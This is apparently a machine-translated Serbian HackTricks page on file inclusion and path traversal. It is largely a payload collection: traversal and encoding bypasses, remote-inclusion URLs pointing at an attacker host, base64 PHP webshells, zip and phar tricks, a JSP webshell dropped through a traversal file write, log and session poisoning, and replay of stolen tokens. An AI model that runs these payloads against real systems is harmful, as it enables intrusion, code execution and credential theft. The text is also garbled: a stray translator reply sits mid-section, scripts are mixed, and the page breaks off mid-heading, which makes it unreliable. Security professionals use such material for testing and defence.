File Inclusion/Path traversal
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
File Inclusion
Remote File Inclusion (RFI): Fajl se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). U php ovo je onemogućeno po defaultu (allow_url_include).
Local File Inclusion (LFI): Server učitava lokalni fajl.
Ranljivost se javlja kada korisnik na neki način kontroliše fajl koji će server učitati.
Ranljive PHP funkcije: require, require_once, include, include_once
Zanimljiv alat za eksploataciju ove ranljivosti: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Kombinovanjem nekoliko *nix LFI lista i dodavanjem još putanja, napravio sam ovu:
Pokušajte takođe da zamenite / sa \
Pokušajte takođe da dodate ../../../../../
Lista koja koristi različite tehnike za pronalaženje fajla /etc/password (da bi se proverilo da li ranjivost postoji) nalazi se ovde
Windows
Kombinacija različitih wordlists:
Pokušajte takođe da zamenite / sa \
Pokušajte takođe da uklonite C:/ i dodate ../../../../../
Lista koja koristi različite tehnike za pronalaženje fajla /boot.ini (da bi se proverilo da li ranjivost postoji) nalazi se ovde
OS X
Proverite LFI listu za Linux.
Osnovni LFI i bypass-ovi
Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sekvence uklonjene nerekurzivno
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass dodavanja dodatnih karaktera na kraju prosleđenog stringa (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Ovo je rešeno od PHP 5.4
Kodiranje
Možete koristiti nestandardna kodiranja kao što su double URL encode (i druga):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Moderne HTML-to-PDF engines (npr. TCPDF ili wrapperi kao html2pdf) rado parsiraju HTML, SVG, CSS i font URL-ove koje obezbedi napadač, ali rade unutar poverljivih backend mreža sa pristupom fajl-sistemu. Kada možete da injektujete HTML u $pdf->writeHTML()/Html2Pdf::writeHTML(), često možete exfiltrate lokalne fajlove koje nalog web servera može čitati.
- Fingerprint the renderer: svaki generisani PDF sadrži
Producerpolje (npr.TCPDF 6.8.2). Poznavanje tačnog build-a govori vam koji path filteri postoje i da li se URL decoding izvršava pre validacije. - Inline SVG payloads:
TCPDF::startSVGElementHandler()čita atributxlink:hrefiz<image>elemenata pre nego što pozoveurldecode(). Ubacivanje malicioznog SVG-a unutar data URI čini da mnogi HTML sanitizatori ignorišu payload, dok TCPDF i dalje parsira isti:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.
- Encoding to bypass naive filters: Verzije ≤6.8.2 proveravaju samo literalni podniz
../pre nego što dekodiraju URL. Slanje..%2f(ili..%2F) u SVG-u ili u raw<img src>atributu zaobiđe proveru, zato što se sekvenca traversala dot-dot-slash rekonstruiše tek nakon što TCPDF pozoveurldecode(). - Double-encoding for multi-stage decoding: Ako korisnički input dekodira web framework i TCPDF, duplo enkodujte slash (
%252f). Jedno dekodiranje ga pretvori u%2f, drugo dekodiranje u TCPDF-u u/, što dovodi do/..%252f..→/../../../…bez ikada prikazivanja../ranom filteru. - HTML
<img>handler:TCPDF::openHTMLTagHandler()sadrži istu grešku u redu operacija, dozvoljavajući direktne HTML payload-e poputsrc="%2f..%252f..%252ftmp%252fsecret.png"da pročitaju bilo koji lokalno dostupan bitmap.
Ova tehnika leaks sve što je čitljivo od strane PDF workera (skenovi pasoša, API keys prikazani kao slike, itd.). Hardeners su to ispravili u 6.9.1 canonicalizacijom putanja (isRelativePath()), pa tokom testiranja prioritizujte starije Producer verzije.
Iz postojeće fascikle
Možda back-end proverava putanju foldera:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Istraživanje direktorijuma datotečnog sistema na serveru
Datotečni sistem servera može se rekurzivno istraživati kako bi se identifikovali direktorijumi, a ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. Ispod je detaljna metoda za postizanje toga:
- Odredite dubinu direktorijuma: Utvrdite dubinu trenutnog direktorijuma tako što ćete uspešno dohvatiti fajl
/etc/passwd(primenljivo ako je server baziran na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što ukazuje na dubinu tri:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sondirajte direktorijume: Dodajte ime sumnjivog direktorijuma (npr.,
private) u URL, zatim se vratite na/etc/passwd. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Tumačenje rezultata: Odgovor servera pokazuje da li direktorijum postoji:
- Greška / Bez izlaza: Direktorijum
privateverovatno ne postoji na naznačenoj lokaciji. - Sadržaj
/etc/passwd: Prisutnost direktorijumaprivateje potvrđena.
- Rekurzivno istraživanje: Otkriveni direktorijumi se mogu dalje ispitivati za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li /var/www/ sadrži direktorijum private (pod pretpostavkom da je trenutni direktorijum na dubini 3), koristite:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation je metoda koja se koristi za manipulaciju putanjama fajlova u web aplikacijama. Često se koristi za pristup zaštićenim fajlovima zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je konstruisati putanju fajla koja, nakon što je sigurnosna mera izmeni, i dalje pokazuje na željeni fajl.
U PHP-u, različite reprezentacije putanje fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/se svi tretiraju kao ista putanja.- Kada poslednjih 6 karaktera budu
passwd, dodavanje/(pravljenjepasswd/) ne menja ciljani fajl. - Slično, ako se
.phpdoda na putanju fajla (kaoshellcode.php), dodavanje/.na kraju neće promeniti fajl kojem se pristupa.
Priloženi primeri pokazuju kako iskoristiti path truncation za pristup /etc/passwd, čestom cilju zbog osetljivog sadržaja (informacije o korisničkim nalozima):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
U ovim scenarijima, broj traversals koji su potrebni može biti oko 2027, ali ovaj broj može varirati u zavisnosti od konfiguracije servera.
- Korišćenje dot segmenata i dodatnih karaktera: Nizovi traversal sequences (
../) u kombinaciji sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju fajl sistemom, efektivno ignorišući priložene stringove koje dodaje server. - Određivanje potrebnog broja traversals: Pomoću metode pokušaja i greške može se pronaći tačan broj
../sekvenci potrebnih da se dođe do root direktorijuma, a zatim do/etc/passwd, osiguravajući da su svi priloženi stringovi (poput.php) neutralisani, ali željeni put (/etc/passwd) ostane netaknut. - Početak sa lažnim direktorijumom: Uobičajena praksa je započeti put sa nepostojećim direktorijumom (npr.
a/). Ova tehnika se koristi kao mera predostrožnosti ili da bi ispunila zahteve logike parsiranja putanje na serveru.
Kada se koriste tehnike skraćivanja putanje (path truncation), ključno je razumeti ponašanje parsiranja putanja na serveru i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, i često je neophodno testiranje da bi se pronašla najefikasnija metoda.
Ova ranjivost je ispravljena u PHP 5.3.
Trikovi za zaobilaženje filtera
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
U php-u je ovo onemogućeno po podrazumevanim podešavanjima jer je allow_url_include Off. Mora biti On da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Ako iz nekog razloga allow_url_include ima vrednost On, ali PHP filtrira pristup eksternim web stranicama, prema ovom postu, možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Izložen .git Repository (Source Disclosure)
Ako web server izlaže /.git/, napadač često može rekonstruisati ceo repozitorijum (including commit history) i pregledati aplikaciju offline. Ovo obično otkriva skrivene endpoint-e, secrets, SQL queries i funkcionalnosti dostupne samo adminu.
Brze provere:
curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config
Dump repozitorijuma pomoću git-dumper:
uv tool install git-dumper
git-dumper http://TARGET/.git/ out/
Ne vidim sadržaj fajla. Pošaljite sadržaj src/pentesting-web/file-inclusion/README.md koji treba da prevedem na srpski (čuvajući postojeći markdown, linkove i tagove).
cd out
git checkout .
Tip
U prethodnom kodu, završni
+.txtje dodat zato što je napadaču bio potreban string koji se završava u.txt, pa se string završava tim i nakon b64 decode taj deo će vratiti samo junk i pravi PHP code će biti uključen (i samim tim izvršen).
Još jedan primer koji ne koristi php:// protokol bio bi:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Korenski element
U Pythonu, u kodu kao što je ovaj:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Ako korisnik prosledi apsolutnu putanju za file_name, prethodna putanja se jednostavno uklanja:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
To je predviđeno ponašanje u skladu sa the docs:
Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od te apsolutne komponente putanje.
Java: listanje direktorijuma
Izgleda da, ako imate Path Traversal u Java i zatražite direktorijum umesto fajla, biće vraćen popis sadržaja direktorijuma. Ovo se neće dešavati u drugim jezicima (koliko mi je poznato).
Top 25 parametara
Evo liste top 25 parametara koji bi mogli biti podložni local file inclusion (LFI) ranjivostima (iz link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI koristeći PHP wrappers i protokole
php://filter
PHP filters omogućavaju izvođenje osnovnih operacija izmene nad podacima pre nego što se ti podaci pročitaju ili upišu. Postoji 5 kategorija filtera:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Uklanja tagove iz podataka (sve između znakova “<” i “>”)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transformiše u drugo kodiranje (convert.iconv.<input_enc>.<output_enc>). Da biste dobili listu svih kodiranja koja su podržana, pokrenite u konzoli:iconv -l
Warning
Zloupotrebom
convert.iconv.*conversion filter-a možete generisati proizvoljan tekst, što može biti korisno za upis proizvoljnog teksta ili navođenje funkcije poput include da procesuira proizvoljan tekst. Za više informacija pogledajte LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Kompresuje sadržaj (korisno ako exfiltrating a lot of info)zlib.inflate: Dekompresuje podatke- Encryption Filters
mcrypt.*: Zastarjelomdecrypt.*: Zastarjelo- Other Filters
- Pokretanjem u php
var_dump(stream_get_filters());možete pronaći nekoliko neočekivanih filtera: consumeddechunk: poništava HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
Deo “php://filter” nije osetljiv na velika/mala slova
Korišćenje php filters kao orakla za čitanje proizvoljnih fajlova
U ovom postu je predložena tehnika za čitanje lokalnog fajla bez vraćanja output-a od servera. Ova tehnika se zasniva na boolean exfiltration of the file (char by char) using php filters kao oracle. To je zato što se php filters mogu iskoristiti da tekst postane dovoljno veliki da PHP baci izuzetak.
U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo kratkog pregleda:
- Koristite codec
UCS-4LEda ostavite vodeći karakter teksta na početku i da veličina stringa raste eksponencijalno. - Ovo će se koristiti da generiše tekst toliko veliki kada je početno slovo pogođeno tačno da će php pokrenuti error
- dechunk filter će ukloniti sve ako prvi char nije heksadecimalan, tako da možemo znati da li je prvi char hex.
- Ovo, u kombinaciji sa prethodnim (i drugim filterima zavisno od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Jer ako je hex, dechunk ga neće obrisati i inicijalna bomba će izazvati php error.
- Codec convert.iconv.UNICODE.CP930 transformiše svako slovo u sledeće (tako da posle ovog codeca: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo
a, na primer, jer ako primenimo 6 puta ovaj codec a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, zbog čega dechunk ga ne obriše i php error se pokreće zato što se pomnoži sa inicijalnom bombom. - Korišćenjem drugih transformacija kao što je rot13 na početku moguće je leak-ovati druga slova kao n, o, p, q, r (i drugi codecs se mogu koristiti da pomere druga slova u hex opseg).
- Kada je početni char broj, potrebno ga je base64 encode-ovati i leak-ovati prva 2 slova da bi se leak-ovao broj.
- Krajnji problem je videti how to leak more than the initial letter. Korišćenjem order memory filtera kao što su convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova iz teksta.
- I da bi bilo moguće dobiti further data, ideja je da se generišu 2 bajta junk podataka na početku pomoću convert.iconv.UTF16.UTF16, primeni UCS-4LE da se oni pivot-uju sa naredna 2 bajta, i obrisati podatke sve dok ne dođete do junk podataka (ovo će ukloniti prva 2 bajta inicijalnog teksta). Nastavite ovo dok ne dođete do željenog bita za leak.
U postu je takođe objavljen alat za automatsko izvođenje: php_filters_chain_oracle_exploit.
php://fd
Ovaj wrapper omogućava pristup file descriptors koje proces ima otvorene. Potencijalno koristan za exfiltrate sadržaja otvorenih fajlova:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Takođe možete koristiti php://stdin, php://stdout and php://stderr да приступите file descriptors 0, 1 and 2 respektivno (nisam сигуран како би ово могло бити корисно у нападу)
zip:// and rar://
Otpremite Zip или Rar фајл који у себи садржи PHPShell и приступите му.
Da bi било могуће злоупотребити rar protocol, он mora biti posebno aktiviran.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Imajte na umu da je ovaj protokol ograničen php konfiguracijama allow_url_open i allow_url_include
expect://
Expect mora biti omogućen. Možete izvršiti kod koristeći ovo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Navedite svoj payload u POST parametrima:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Datoteka .phar može se iskoristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije poput include za učitavanje fajlova. Sledeći PHP kod prikazuje kreiranje .phar datoteke:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Da biste kompajlirali .phar fajl, treba izvršiti sledeću komandu:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega, kroz funkcije kao što su file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ili filesize(), može se pokušati iskorišćenje deserialization vulnerability. Ovaj propust je povezan sa čitanjem fajlova koristeći phar protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Veoma kratak rezime: a 3 byte overflow u PHP heap-u je iskorišćen da alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — Piše u memoriju ili u privremeni fajl (nisam siguran kako ovo može biti korisno u file inclusion attack)
- file:// — Pristup lokalnom filesystem-u
- http:// — Pristup HTTP(s) URL-ovima
- ftp:// — Pristup FTP(s) URL-ovima
- zlib:// — Kompresioni streamovi
- glob:// — Pronalaženje pathnames koji odgovaraju obrascu (Ne vraća ništa što se može prikazati, tako da nije posebno koristan ovde)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streamovi (Nije korisno za čitanje arbitrary fajlova)
LFI via PHP’s ‘assert’
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the ‘assert’ function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like “..” is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Iako je ovo namenjeno da zaustavi traversal, to nenamerno stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja fajlova, napadač bi mogao da upotrebi:
' and die(highlight_file('/etc/passwd')) or '
Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
' and die(system("id")) or '
Važno je da URL-encode these payloads.
PHP Blind Path Traversal
Warning
Ova tehnika je relevantna u slučajevima gde vi control the file path of a PHP function that will access a file ali nećete videti sadržaj fajla (npr. jednostavan poziv
file()) jer sadržaj nije prikazan.
U this incredible post objašnjeno je kako se blind path traversal može zloupotrebiti preko PHP filtera da bi se exfiltrate the content of a file via an error oracle.
Ukratko, tehnika koristi “UCS-4LE” encoding da bi sadržaj fajla bio toliko big da će PHP function opening fajl izazvati error.
Zatim, da bi se leak the first char koristi se filter dechunk zajedno sa drugim kao što su base64 ili rot13, a na kraju se koriste filteri convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE da bi se place other chars at the beggining and leak them.
Funkcije koje mogu biti ranjive: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Za tehničke detalje pogledajte pomenuti post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Kada server-side kod koji prihvata/uploaduje fajlove gradi destinacioni path koristeći user-controlled podatke (npr. filename ili URL) bez canonicalising i validacije, .. segmenti i absolute paths mogu pobeći iz predviđenog direktorijuma i izazvati arbitrary file write. Ako možete smestiti payload u web-exposed direktorijum, obično dobijate unauthenticated RCE tako što ubacite webshell.
Tipični koraci eksploatacije:
- Identifikujte write primitive u endpointu ili background workeru koji prihvata path/filename i zapisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
- Odredite web-exposed direktorijume. Uobičajeni primeri:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Sastavite traversal path koji izlazi iz nameravanog storage direktorijuma u webroot i uključite vaš webshell sadržaj.
- Otvorite postavljeni payload u pregledaču i izvršite komande.
Napomene:
- Vulnerable service koji vrši zapis može slušati na ne-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (drugi port) će kasnije poslužiti vaš payload.
- Na Java stackovima, ovi zapisi fajlova često se implementiraju jednostavnom
File/Pathsconcatenation. Nedostatak canonicalisation/allow-listing je osnovna ranjivost.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening koji onemogućava ovu klasu grešaka:
- Razrešite put na kanoničku formu i osigurajte da je potomak dozvoljenog (allow-listed) osnovnog direktorijuma.
- Odbacite svaki put koji sadrži
.., apsolutne root-ove ili slova drajva; preferirajte generisane nazive fajlova. - Pokrenite writer kao nalog sa malim privilegijama i razdvojite direktorijume za pisanje od direktorijuma koji se serviraju.
Remote File Inclusion
Ranije objašnjeno, follow this link.
Preko Apache/Nginx log fajla
Ako je Apache ili Nginx server vulnerable to LFI unutar include funkcije, možete pokušati pristupiti /var/log/apache2/access.log or /var/log/nginx/access.log, postaviti u user agent ili u GET parameter php shell poput <?php system($_GET['c']); ?> i uključiti taj fajl
Warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won’t have a second opportunity.
Ovo se takođe može uraditi u drugim log-ovima ali budite pažljivi, kod unutar logova može biti URL encoded i to može uništiti Shell. Header authorisation “basic” sadrži “user:password” u Base64 i on se dekodira unutar logova. PHPShell može biti ubačen unutar ovog header-a.
Drugi mogući putevi do logova:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Čitanje access logs za hvatanje GET-based auth tokena (token replay)
Mnoge aplikacije greškom prihvataju session/auth tokene preko GET-a (npr. AuthenticationToken, token, sid). Ako imate path traversal/LFI primitiv koji omogućava pristup web server access logs, možete ukrasti te tokene iz access logs i replay-ovati ih da u potpunosti zaobiđete authentication.
How-to:
- Koristite traversal/LFI da pročitate web server access log. Uobičajene lokacije:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Neki endpoints vraćaju file reads Base64-encoded. Ako je tako, dekodirajte lokalno i pregledajte linije loga.
- Koristite grep za GET requests koji sadrže token parametar i izdvojite njegovu vrednost, potom ga replay-ujte na entry point aplikacije.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Dekodiraj body ako je u Base64, zatim replay uhvaćeni token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Napomene:
- Tokens u URL-ovima se po defaultu beleže; nikada ne prihvatajte bearer tokens putem GET u produkcionim sistemima.
- Ako aplikacija podržava više imena tokena, pretražite uobičajene ključeve kao što su AuthenticationToken, token, sid, access_token.
- Rotirajte sve tokens koji su možda leaked u logovima.
Preko e-pošte
Pošaljite mejl na internu adresu (user@localhost) koji sadrži vaš PHP payload kao <?php echo system($_REQUEST["cmd"]); ?> i pokušajte da include-ujete mejl korisnika sa putanjom kao /var/mail/<USERNAME> ili /var/spool/mail/<USERNAME>
Preko /proc//fd/
- Upload-ujte mnogo shells (na primer: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, pri čemu je $PID = PID procesa (može se brute force-ovati) i $FD je file descriptor (može se takođe brute force-ovati)
Preko /proc/self/environ
Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovan unutar fajla /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Putem upload-a
Ako možete da upload-ujete fajl, jednostavno injectujte shell payload u njega (npr: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/doc/pdf
Kroz ZIP file upload
Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Preko PHP sessions
Proverite da li sajt koristi PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
U PHP-u ove sesije se čuvaju u /var/lib/php5/sess\[PHPSESSID]_ fajlovima
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Postavite cookie na <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Koristite LFI da uključite PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Putem ssh
Ako je ssh aktivan, proveri koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušaj da pristupiš <HOME>/.ssh/id_rsa
Putem vsftpd logova
Logovi FTP servera vsftpd nalaze se na /var/log/vsftpd.log. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i pristup izloženom vsftpd serveru je moguć, mogu se razmotriti sledeći koraci:
- Injektuj PHP payload u polje za username tokom procesa prijave.
- Nakon injektovanja, iskoristi LFI da preuzmeš server logove iz /var/log/vsftpd.log.
Putem php base64 filter (koristeći base64)
